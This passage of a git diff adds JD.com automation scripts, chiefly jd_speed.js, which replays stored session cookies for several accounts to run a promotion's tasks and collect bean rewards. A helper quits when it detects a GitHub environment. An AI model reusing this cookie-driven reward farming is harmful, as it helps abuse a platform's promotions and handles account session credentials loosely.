console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.inviteCodes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(3000) + resolve(); + }) +} +function taskUrl(url, body = {}) { + return { + url: `${JD_API_HOST}/${url}?body=${escape(body)}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "content-type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "token": $.token, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function taskPostUrl(url) { + return { + url: `${JD_API_HOST}/${url}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "content-type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "token": $.token, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function sortByjdBeanNum(a, b) { + return a['jdBeanNum'] - b['jdBeanNum']; +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed.js b/jd_speed.js new file mode 100644 index 0000000..5755db1 --- /dev/null +++ b/jd_speed.js @@ -0,0 +1,684 @@ +/* +京东天天加速链接:jd_speed.js +更新时间:2020-12-25 +活动入口:京东APP我的-更多工具-天天加速 +活动地址:https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html +支持京东双账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +每天4京豆,再小的苍蝇也是肉 +从 https://github.com/Zero-S1/JD_tools/blob/master/JD_speed.py 改写来的 +建议3小时运行一次,打卡时间间隔是6小时 +=================QuantumultX============== +[task_local] +#天天加速 +8 0-23/3 * * * jd_speed.js, tag=京东天天加速, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdjs.png, enabled=true + +============Loon================ +[Script] +cron "8 0-23/3 * * *" script-path=jd_speed.js,tag=京东天天加速 + +===========Surge============ +天天加速 = type=cron,cronexp="8 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_speed.js + +==============小火箭============= +天天加速 = type=cron,script-path=jd_speed.js, cronexpr="11 0-23/3 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('✈️天天加速'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let jdNotify = true;//是否开启静默运行。默认true开启 +let message = '', subTitle = ''; +const JD_API_HOST = 'https://api.m.jd.com/' + +!(async () => { + if ($.time('yyyy-MM-dd') === '2021-04-21') { + //$.msg($.name, '2021-04-21 0点已停止运营', `请禁用或删除脚本(jd_speed.js)`); + //return + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jDSpeedUp(); + await getMemBerList(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function showMsg() { + jdNotify = $.getdata('jdSpeedNotify') ? $.getdata('jdSpeedNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, `【京东账号${$.index}】${$.nickName}\n` + message); + } else { + $.log(`\n${message}\n`); + } +} +function jDSpeedUp(sourceId) { + return new Promise((resolve) => { + let body = {"source": "game"}; + if (sourceId) { + body.source_id = sourceId + } + const url = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=flyTask_' + (sourceId ? 'start&body=%7B%22source%22%3A%22game%22%2C%22source_id%22%3A' + sourceId + '%7D' : 'state&body=%7B%22source%22%3A%22game%22%7D'), + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=flyTask_${sourceId ? 'start' : 'state'}&body=${escape(JSON.stringify(body))}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html?lng=116.845095&lat=39.957701&sid=ea687233c5e7d226b30940ed7382c5cw&un_area=5_274_49707_49973', + 'Accept-Encoding': 'gzip, deflate, br' + } + }; + $.get(url, async (err, resp, data) => { + try { + if (err) { + console.log('京东天天-加速: 签到接口请求失败 ‼️‼️'); + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + let res = JSON.parse(data); + if (!sourceId) { + console.log(`\n天天加速任务进行中`); + } else { + console.log("\n" + "天天加速-开始本次任务 "); + } + if (res.code === 0 && res.success) { + subTitle = `【奖励】${res.data.beans_num}京豆`; + if (res.data.task_status === 0) { + const taskID = res.data.source_id; + await jDSpeedUp(taskID); + } else if (res.data.task_status === 1) { + const EndTime = res.data.end_time ? res.data.end_time : "" + console.log("\n天天加速进行中-结束时间: \n" + EndTime); + const space = await spaceEventList() + const HandleEvent = await spaceEventHandleEvent(space) + const step1 = await energyPropList();//检查燃料 + const step2 = await receiveEnergyProp(step1);//领取可用的燃料 + const step3 = await energyPropUsaleList(step2) + const step4 = await useEnergy(step3) + if (step4) { + await jDSpeedUp(null); + } else { + message += `【空间站】 ${res.data.destination}\n`; + message += `【结束时间】 ${res.data.end_time}\n`; + message += `【进度】 ${((res.data['done_distance'] / res.data.distance) * 100).toFixed(2)}%\n`; + } + } else if (res.data.task_status === 2) { + if (data.match(/\"beans_num\":\d+/)) { + //message += "【上轮奖励】成功领取" + data.match(/\"beans_num\":(\d+)/)[1] + "京豆 🐶"; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n` + "【上轮太空旅行】成功领取" + data.match(/\"beans_num\":(\d+)/)[1] + "京豆 🐶"); + } + } else { + console.log("京东天天-加速: 成功, 明细: 无京豆 🐶") + } + console.log("\n天天加速-领取上次奖励成功") + await jDSpeedUp(null); + } else { + console.log("\n" + "天天加速-判断状态码失败") + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + // $.msg("京东天天-加速" + e.name + "‼️", JSON.stringify(e), e.message) + $.logErr(e, resp); + } finally { + resolve() + } + }) + }) +} + +// 检查太空特殊事件 +function spaceEventList() { + return new Promise((resolve) => { + let spaceEvents = []; + const body = { "source": "game"}; + const spaceEventUrl = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=spaceEvent_list&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + } + $.get(spaceEventUrl, async (err, resp, data) => { + try { + if (err) { + console.log("\n京东天天-加速: 查询太空特殊事件请求失败 ‼️‼️") + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + const cc = JSON.parse(data); + if (cc.message === "success" && cc.data.length > 0) { + for (let item of cc.data) { + if (item.status === 1) { + for (let j of item.options) { + if (j.type === 1) { + spaceEvents.push({ + "id": item.id, + "value": j.value + }) + } + } + } + } + if (spaceEvents && spaceEvents.length > 0) { + console.log("\n天天加速-查询到" + spaceEvents.length + "个太空特殊事件") + } else { + console.log("\n天天加速-暂无太空特殊事件") + } + } else { + console.log("\n天天加速-查询无太空特殊事件") + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + // $.msg("天天加速-查询太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message) + $.logErr(e, resp) + } finally { + resolve(spaceEvents) + } + }) + }) +} + +//处理太空特殊事件 +function spaceEventHandleEvent(spaceEventList) { + return new Promise((resolve) => { + if (spaceEventList && spaceEventList.length > 0) { + let spaceEventCount = 0, spaceNumTask = 0; + for (let item of spaceEventList) { + let body = { + "source":"game", + "eventId": item.id, + "option": item.value + } + const spaceHandleUrl = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=spaceEvent_handleEvent&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + } + spaceEventCount += 1 + $.get(spaceHandleUrl, (err, resp, data) => { + try { + if (err) { + console.log("\n京东天天-加速: 处理太空特殊事件请求失败 ‼️‼️") + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + const cc = JSON.parse(data); + // console.log(`处理特殊事件的结果::${JSON.stringify(cc)}`); + console.log("\n天天加速-尝试处理第" + spaceEventCount + "个太空特殊事件") + if (cc.message === "success" && cc.success) { + spaceNumTask += 1; + } else { + console.log("\n天天加速-处理太空特殊事件失败") + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + // $.msg("天天加速-查询处理太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message) + $.logErr(e, resp) + } finally { + if (spaceEventList.length === spaceNumTask) { + console.log("\n天天加速-已成功处理" + spaceNumTask + "个太空特殊事件") + resolve() + } + } + }) + } + } else { + resolve() + } + }) +} + +//检查燃料 +function energyPropList() { + return new Promise((resolve) => { + let TaskID = ""; + const body = { "source": "game"}; + const QueryUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_list&body=%7B%22source%22%3A%22game%22%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_list&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + $.get(QueryUrl, async (err, resp, data) => { + try { + if (err) { + console.log("\n京东天天-加速: 查询道具请求失败 ‼️‼️") + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + const cc = JSON.parse(data) + if (cc.message === "success" && cc.data.length > 0) { + for (let i = 0; i < cc.data.length; i++) { + if (cc.data[i].thaw_time === 0) { + TaskID += cc.data[i].id + ","; + } + } + if (TaskID.length > 0) { + TaskID = TaskID.substr(0, TaskID.length - 1).split(",") + console.log("\n天天加速-查询到" + TaskID.length + "个可用燃料") + } else { + console.log("\n天天加速-检查燃料-暂无可用燃料") + } + } else { + console.log("\n天天加速-查询无燃料") + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-查询燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + resolve(TaskID) + } + }) + }) +} + +//领取可用的燃料 +function receiveEnergyProp(CID) { + return new Promise((resolve) => { + var NumTask = 0; + if (CID) { + let count = 0 + for (let i = 0; i < CID.length; i++) { + let body = { + "source":"game", + "energy_id": CID[i] + } + const TUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_gain&body=%7B%22source%22%3A%22game%22%2C%22energy_id%22%3A' + CID[i] + '%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_gain&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + count += 1 + $.get(TUrl, (error, response, data) => { + try { + if (error) { + console.log("\n天天加速-领取道具请求失败 ‼️‼️") + console.log(`${JSON.stringify(error)}`) + } else { + if (data) { + const cc = JSON.parse(data) + console.log("\n天天加速-尝试领取第" + count + "个可用燃料") + if (cc.message === 'success') { + NumTask += 1 + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-领取可用燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + if (CID.length === count) { + console.log("\n天天加速-已成功领取" + NumTask + "个可用燃料") + resolve(NumTask) + } + } + }) + } + } else { + resolve(NumTask) + } + }) +} + +//检查剩余燃料 +function energyPropUsaleList(EID) { + return new Promise((resolve) => { + let TaskCID = ''; + const body = { "source": "game"}; + const EUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_usalbeList&body=%7B%22source%22%3A%22game%22%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_usalbeList&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + $.get(EUrl, (error, response, data) => { + try { + if (error) { + console.log("\n天天加速-查询道具ID请求失败 ‼️‼️") + console.log(`${JSON.stringify(error)}`) + } else { + if (data) { + const cc = JSON.parse(data); + if (cc.code === 0 && cc.success) { + if (cc.data.length > 0) { + for (let i = 0; i < cc.data.length; i++) { + if (cc.data[i].id) { + TaskCID += cc.data[i].id + ","; + } + } + if (TaskCID.length > 0) { + TaskCID = TaskCID.substr(0, TaskCID.length - 1).split(",") + console.log("\n天天加速-查询成功" + TaskCID.length + "个燃料ID") + } else { + console.log("\n天天加速-暂无有效燃料ID") + } + } else { + console.log("\n天天加速-查询无燃料ID") + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-燃料ID" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + resolve(TaskCID) + } + }) + // if (EID) { + // + // } else { + // resolve(TaskCID) + // } + }) +} + +//使用能源 +function useEnergy(PropID) { + return new Promise((resolve) => { + var PropNumTask = 0; + let PropCount = 0 + if (PropID) { + for (let i = 0; i < PropID.length; i++) { + let body = { + "source":"game", + "energy_id": PropID[i] + } + const PropUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_use&body=%7B%22source%22%3A%22game%22%2C%22energy_id%22%3A%22' + PropID[i] + '%22%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_use&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + PropCount += 1; + $.get(PropUrl, (error, response, data) => { + try { + if (error) { + console.log("\n天天加速-使用燃料请求失败 ‼️‼️") + console.log(`${JSON.stringify(error)}`) + } else { + if (data) { + const cc = JSON.parse(data); + console.log("\n天天加速-尝试使用第" + PropCount + "个燃料") + if (cc.message === 'success' && cc.success === true) { + PropNumTask += 1 + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-使用燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + if (PropID.length === PropCount) { + console.log("\n天天加速-已成功使用" + PropNumTask + "个燃料") + resolve(PropNumTask) + } + } + }) + } + } else { + resolve(PropNumTask) + } + }) +} +//虫洞 +function getMemBerList() { + return new Promise((resolve) => { + const body = { "source": "game", "status": 0}; + const spaceEventUrl = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_list&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(spaceEventUrl, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.success) { + for (let item of data.data) { + if (item['taskStatus'] === 0) { + $.log(`去领取【${item['title']}】任务\n`) + await getMemBerGetTask(item['sourceId']); + } + } + $.getRewardBeans = 0; + console.log(`\n检查是否可领虫洞京豆奖励`) + $.memBerList = data.data.filter(item => item['taskStatus'] === 2); + if ($.memBerList && $.memBerList.length > 0) { + for (let uuids of $.memBerList) { + await getReward(uuids['uuid']); + } + if ($.getRewardBeans > 0) { + $.msg(`${$.name}`, '', `京东账号${$.index} ${$.nickName}\n虫洞任务:获得${$.getRewardBeans}京豆`); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n虫洞任务:获得${$.getRewardBeans}京豆`) + } + } else { + console.log(`暂无可领取的虫洞京豆奖励`) + } + } + } + } + } catch (e) { + // $.msg("天天加速-查询太空特殊事件" + e.name + "‼️", JSON.stringify(e), 